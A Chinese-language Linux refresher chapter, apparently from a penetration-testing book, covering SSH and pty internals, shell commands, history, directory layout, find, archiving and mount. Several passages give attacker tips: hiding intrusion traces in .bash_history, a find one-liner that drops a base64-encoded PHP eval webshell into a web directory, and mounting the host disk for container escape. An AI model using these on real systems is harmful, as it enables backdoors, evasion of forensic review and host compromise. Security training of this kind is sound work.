🛠️Linux基础快速入门

这一章节是快速了解Linux知识,并不会从零基础讲起,如果你没有任何Linux基础,希望你通过一些书籍快速掌握基本操作再来阅读此书。

在后续章节中很多内容都需要掌握Linux一些进阶技巧,反弹Shell、echo命令、特殊权限等在容器逃逸、K8s中会经常用到。

Linux基础快速入门

SSH远程访问流程

当我们在键盘上敲下一个字母的时候,到底是怎么发送到相应的进程的呢?

这里的Terminal可能是任何地方的程序,例如Windows上的Putty、Xshell之类的程序。

1. Terminal请求和SSH Server建立连接

2. 验证通过后,SSH Server将创建一个新的Session,一个Shell进程

3. SSH Server会调用API,请求ptmx创建一个pts,成功之后呢,SSH Server将得到和ptmx关联的fd(file descriptor(文件描述符)),并与该fd和session关联起来;

4. 同时sshd创建Shell进程,将新创建的pts和Shell绑定

TTY和PTS的区别

对用户空间来说是没有区别,从内核看,pts另一端连接的是ptmx,而tty是连接内核的终端模拟器。

什么是ptmx?

ptmx是Linux中的一个特殊文件,全称为pseudo-terminal master-slave。它是一种虚拟终端,用于模拟终端设备。它允许进程向模拟终端读写数据,就好像与实际终端设备进行通信一样。它在很多应用场景中都有用到,例如:SSH登录、读写终端设备、脚本调试等。

Shell中两类命令

  • 内部命令:由shell自带,用户登录后自动加载并常驻内存中

  • 外部命令:文件系统路径下有对应的可执行程序文件,当执行时才从磁盘加载至内存中,执行完后从内存中删除

用type命令查看是内部还是外部命令:

type COMMAND
enable cmd #启用内部命令
enable -n cmd #禁用内部命令
enable -n #查看所有禁用的司令部命令
在一些渗透场景中,如果有些命令无法执行可以查看一下enable 

Hash缓存表

Linux还有一个与外部命令相关的Hash缓存表,称为"hash table"或"command hashing"。

这个Hash缓存表存储了已经执行过的外部命令的路径,以便下次执行时能够快速查找。当你在命令行中执行一个命令时,系统会首先检查Hash缓存表中是否已经存储了该命令的路径,如果是,就直接使用缓存表中的路径执行命令,而不必再次搜索整个文件系统。

hash -l #显示hash缓存
hash -d name #清除name缓存
hash -r #清除缓存

常见命令

命令行历史

在终端操作后,系统默认会在内存记录执行的命令,当用户退出时会将内存命令记录在~/.bash_history

-c    清空历史命令
-d    指定删除命令
-n    显示最近的n条历史
-w    保存历史列表到指定文件
HISTSIZE #命令历史记录条数
 
HISTFILESIZE #命令历史文件记录历史条数
 
#显示时间和用户
HISTTIMEFORMAT="%F %T `whoami`|"
 
HISTCONTROL: #控制命令历史的记录方式
ignoredups #去掉重复的命令
ignorespace #忽略以空白开头的命令
ignoreboth #前二条的组合
erasedups #删除重复命令
 
#永久设置
/etc/profile 或者 ~/.bash_profile
 
#空格后忽略记录
export HISTCONTROL=ignoreboth

在渗透场景中不建议在服务器使用history -c清除记录,最好通过编辑.bash_history删除自己相关执行的文件,或者执行时忽略以空白开头的命令

History在渗透、溯源中起到了非常重要的作用!!!

关于Linux终端快捷键常用的操作:

!! #重复前一个命令
Ctrl+P #重复前一个命令
!n #执行history对应的命令
!string #执行以什么开头的命令
Ctrl + l #清屏
Ctrl+z #挂起命令
Ctrl+a #光标行首
Ctrl+e #光标行尾
Ctrl+f #光标右移一个字符
Ctrl+b #光标左移一个字符
Ctrl + xx #光标前后移动

目录结构

标了颜色加重的,需要记住目录是什么作用的。

根目录

一级目录

功能(作用)

/bin/

存放系统命令,普通用户和 root 都可以执行。放在 /bin 下的命令在单用户模式下也可以执行

/boot/

系统启动目录,保存与系统启动相关的文件,如内核文件和启动引导程序(grub)文件等

/dev/

设备文件保存位置

/etc/

配置文件保存位置。系统内所有采用默认安装方式(rpm 安装)的服务配置文件全部保存在此目录中如用户信息、服务的启动脚本、常用服务的配置文件等

/home/

普通用户的主目录(也称为家目录)。在创建用户时,每个用户要有一个默认登录和保存自己数据的位置,就是用户的主目录,所有普通用户的主目录是在 /home/ 下建立一个和用户名相同的目录。

如用户 liming 的主目录就是 /home/liming

/lib/

系统调用的函数库保存位置

/media/

挂载目录。系统建议用来挂载媒体设备,如软盘和光盘

/mnt/

挂载目录。早期 Linux 中只有这一个挂载目录,并没有细分。系统建议这个目录用来挂载额外的设备,如 U 盘、移动硬盘和其他操作系统的分区

/misc/

挂载目录。系统建议用来挂载 NFS 服务的共享目录。虽然系统准备了三个默认挂载目录 /media/、/mnt/、/misc/,但是到底在哪个目录中挂载什么设备可以由管理员自己决定。例如,笔者在接触 Linux 的时候,默认挂载目录只有 /mnt/,所以养成了在 /mnt/ 下建立不同目录挂载不同设备的习惯,

如 /mnt/cdrom/ 挂载光盘、/mnt/usb/ 挂载 U 盘,都是可以的

/opt/

第三方安装的软件保存位置。这个目录是放置和安装其他软件的位置,

手工安装的源码包软件都可以安装到这个目录中。不过笔者还是习惯把软件放到 /usr/local/ 目录中,也就是说,/usr/local/ 目录也可以用来安装软件

/root/

root 的主目录。普通用户主目录在 /home/ 下,root 主目录直接在“/”下

/sbin/

保存与系统环境设置相关的命令,只有 root 可以使用这些命令进行系统环境设置,但也有些命令可以允许普通用户查看

/srv/

服务数据目录。一些系统服务启动之后,可以在这个目录中保存所需要的数据

/tmp/

临时目录。系统存放临时文件的目录,在该目录下,所有用户都可以访问和写入。

建议此目录中不能保存重要数据,最好每次开机都把该目录清空

/usr目录

子目录

功能(作用)

/usr/bin/

存放系统命令,普通用户和超级用户都可以执行。这些命令和系统启动无关

/usr/sbin/

存放根文件系统不必要的系统管理命令,如多数服务程序,只有 root 可以使用。

/usr/lib/

应用程序调用的函数库保存位置

/usr/XllR6/

图形界面系统保存位置

/usr/local/

手工安装的软件保存位置。我们一般建议源码包软件安装在这个位置

/usr/share/

应用程序的资源文件保存位置,如帮助文档、说明文档和字体目录

/usr/src/

源码包保存位置。我们手工下载的源码包和内核源码包都可以保存到这里。不过笔者更习惯把手工下载的源码包保存到 /usr/local/src/ 目录中,把内核源码保存到 /usr/src/linux/ 目录中

/usr/include

C/C++等编程语言头文件的放置目录

/var 目录

/var子目录

功能(作用)

/var/lib/

程序运行中需要调用或改变的数据保存位置。如 MySQL

的数据库保存在 /var/lib/mysql/ 目录中

/var/log/

登陆文件放置的目录,其中所包含重要的文件如 /var/log/messages, /var/log/wtmp 等。

/var/run/

一些服务和程序运行后,它们的 PID(进程 ID)保存位置

/var/spool/

里面主要都是一些临时存放,随时会被用户所调用的数据,例如 /var/spool/mail/ 存放新收到的邮件,/var/spool/cron/ 存放系统定时任务。

/var/www/

RPM 包安装的 Apache 的网页主目录

/var/nis和/var/yp

NIS 服务机制所使用的目录,nis 主要记录所有网络中每一个 client 的连接信息;yp 是 linux 的 nis 服务的日志文件存放的目录

/var/tmp

一些应用程序在安装或执行时,需要在重启后使用的某些文件,此目录能将该类文件暂时存放起来,完成后再行删除

文件类型

-    普通文件
d    目录
l    链接文件
b    块设备
c    字符设备
p    管道文件pipe
s    套接字文件socket

文件查找

find
-maxdepth level 最大搜索目录深度,指定目录下的文件为第1级
-mindepth level 最小搜索目录深度
 
-name #文件名
-iname #不区分大小写
 
#组合条件
与:-a
或:-o
非:not !
 
#根据文件类型
-type TYPE
f:普通文件
d:目录文件
l:符号文件
s:套接字文件
p:管道文件
 
#排除security目录
find /etc -path '/etc/security' -a -prune -o -name "*.conf"
 
#根据文件大小查找
-size #k,M,G
 
-atime  #根据时间戳
 
#根据权限
-perm
find / -perm 755
 
#处理动作
-exec 执行命令
 
##备份文件
find /etc/ -name ".conf" -exec cp {} /root/conf/ \;
 
##查找权限为644,后缀为sh文件,并给于执行权限
find / -type f -perm 644 -name "*.sh" -exec chmod 755 {} \;

实战场景,挖到了一个命令执行但是因为找不到目录而无法写shell。

通过网页寻找特殊名称或图片名称,通过find定位WEB目录。

#查找文件并写入
find / -name 1.jpg|while read file;do sh -c "echo '111'">$(dirname $file)/111.txt;done
 
#查找1.jpg文件并用bash64编码写入
find / -name 1.jpg|while read file;do sh -c "echo PD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOyA/Pgo= | base64 -d">$(dirname $file)/1.php;done

压缩和解压

#gzip
-k keep, 保留原文件,CentOS 8 新特性
-d 解压缩,相当于gunzip
-c 结果输出至标准输出,保留原文件不改变
-# 指定压缩比,#取值为1-9,值越大压缩比越大
 
gunzip file.gz #解压
 
gzip -c messages > messages.gz #压缩
 
#bzip2、bunzip2
对应的文件是 .bz2 后缀
-k keep, 保留原文件
-d 解压缩
-c 结果输出至标准输出,保留原文件不改变 -# 1-9,压缩比,默认为9
 
#xz、unxz
unxz file.xz
 
zip -r /back.zip /etc/ #打包并压缩
 
zip -e password.zip * #交互式加密解密
 
zip -P 123456 password.zip * #非交互式
tar
-z 相当于gzip压缩工具
-j 相当于bzip2压缩工具
-J 相当于xz压缩工具
 
#创建归楼,保留权限
tar -cpvf /1.tar.gz /tmp/
 
#追加文件
tar -rf /1.tar.gz file
 
#排除文件
--exclude
 
#打包文件,不包含图片文件
tar -cvf web.tar.gz --exclude="*.jpg" /data/
 
#排除多个文件类型
tar -czvf web.tar.gz --exclude="*.jpg" --exclude="*.php" /data/
 
#只打包特定的文件
find /data/ -name "*.conf" |xargs tar -czvf ./conf.tar.gz

挂载文件

mount [-t 系统类型] [-L 卷标名] [-o 特殊选项] [-n] 设备文件名 挂载点
 
-t #指定系统类型,例如ext4
-r #只读挂载
-w #读写挂载,默认配置。
 
#持久挂载
/etc/fstab
 
#操作光盘
eject #弹出光盘
eject -t #弹入光盘
 
容器逃逸常用
mount /dev/sda1 /tmp/hosts/

Last updated